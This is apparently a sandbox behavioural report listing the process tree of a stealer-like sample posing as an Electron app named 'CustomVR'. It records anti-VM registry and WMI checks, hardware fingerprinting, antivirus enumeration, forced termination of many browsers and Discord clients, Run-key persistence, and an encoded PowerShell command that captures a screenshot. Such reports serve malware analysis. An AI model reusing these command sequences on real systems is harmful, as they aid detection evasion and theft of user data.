    - Suspicious behavior: EnumeratesProcesses
    PID:4308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\system32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:4604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4344
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:3024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:212
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3600
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:1960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4412
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse"
    3⤵
    - Looks for VMWare services registry key.
    PID:2252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\KVM""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\KVM"
    3⤵
    PID:548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:4372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}"
    3⤵
    PID:1016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    PID:1704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "[System.Windows.Forms.Cursor]::Position.X""
  2⤵
  PID:1772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "[System.Windows.Forms.Cursor]::Position.X"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
  2⤵
  PID:4168
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    PID:5016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  PID:4464
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    PID:4820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "vol c:"
  2⤵
  PID:880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  PID:4100
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:5624
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --app-path="C:\Users\Admin\AppData\Local\Programs\CustomVR\resources\app.asar" --no-sandbox --no-zygote --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --field-trial-handle=1708,i,11231641349455186938,3128421639626023873,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1712,i,13985386364059197919,15783193698709535009,4 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2892 /prefetch:1
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  PID:5968
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:2788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
  2⤵
  PID:5664
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:5792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:6120
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4116
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:5124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:6036
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:5516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
  2⤵
  PID:5672
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:5484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe /T"
  2⤵
  PID:5876
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM yandex.exe /T
    3⤵
    - Kills process with taskkill
    PID:5928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe /T"
  2⤵
  PID:5908
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM orbitum.exe /T
    3⤵
    - Kills process with taskkill
    PID:6088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM atom.exe /T"
  2⤵
  PID:1540
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM atom.exe /T
    3⤵
    - Kills process with taskkill
    PID:3592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe /T"
  2⤵
  PID:5544
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM kometa.exe /T
    3⤵
    - Kills process with taskkill
    PID:5016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM torch.exe /T"
  2⤵
  PID:4276
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM torch.exe /T
    3⤵
    - Kills process with taskkill
    PID:5652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM amigo.exe /T"
  2⤵
  PID:5880
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM amigo.exe /T
    3⤵
    - Kills process with taskkill
    PID:5736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM coccoc.exe /T"
  2⤵
  PID:5892
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coccoc.exe /T
    3⤵
    - Kills process with taskkill
    PID:5252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe /T"
  2⤵
  PID:3592
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM uran.exe /T
    3⤵
    - Kills process with taskkill
    PID:5732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM slimjet.exe /T"
  2⤵
  PID:5016
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM slimjet.exe /T
    3⤵
    - Kills process with taskkill
    PID:5140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM ivaldi.exe /T"
  2⤵
  PID:5668
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:5812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T"
  2⤵
  PID:5856
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe /T
    3⤵
    - Kills process with taskkill
    PID:6092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:5684
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:5556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:6112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  PID:776
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:5552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  PID:5936
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:5396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:1676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  PID:2956
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:5772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  PID:5220
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA0ADAANwAxAC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA0ADAANwAxAC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8ANAAwADcAMQAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADQAMAA3ADEALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA"
  2⤵
  PID:5540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA0ADAANwAxAC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA0ADAANwAxAC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8ANAAwADcAMQAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADQAMAA3ADEALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:5400
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:3500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:3868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:5520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  PID:456
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:2624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  PID:5768
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:6064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Discord.exe"
  2⤵
  PID:5688
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Discord.exe
    3⤵
    - Kills process with taskkill
    PID:6092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordCanary.exe"
  2⤵
  PID:5628
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordCanary.exe
    3⤵
    - Kills process with taskkill
    PID:5268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordPTB.exe"
  2⤵
  PID:3920
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordPTB.exe
    3⤵
    - Kills process with taskkill
    PID:5716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordDevelopment.exe"
  2⤵
  PID:5520
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordDevelopment.exe
    3⤵
    - Kills process with taskkill
    PID:5940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vesktop.exe"
  2⤵
  PID:5300
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vesktop.exe
    3⤵
    - Kills process with taskkill
    PID:3028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vencord.exe"
  2⤵
  PID:5928
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vencord.exe
    3⤵
    - Kills process with taskkill
    PID:1356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM BetterDiscord.exe"
  2⤵
  PID:3360
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM BetterDiscord.exe
    3⤵
    - Kills process with taskkill
    PID:5860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Powercord.exe"
  2⤵
  PID:3840
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Powercord.exe
    3⤵
    - Kills process with taskkill
    PID:6008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Revolt.exe"
  2⤵
  PID:4340
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Revolt.exe
    3⤵
    - Kills process with taskkill
    PID:412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Fluent.exe"
  2⤵
  PID:5776
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Fluent.exe
    3⤵
    - Kills process with taskkill
    PID:4744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Lightcord.exe"
  2⤵
  PID:5296
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Lightcord.exe
    3⤵
    - Kills process with taskkill
    PID:5824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordOpenSource.exe"
  2⤵
  PID:5052
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordOpenSource.exe
    3⤵
    - Kills process with taskkill
    PID:5920

C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
"C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --hidden
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:220
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1712,i,17038017839045456712,14759645326509488161,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1716,i,13998999061647503972,18128354721362432384,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1708 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2152
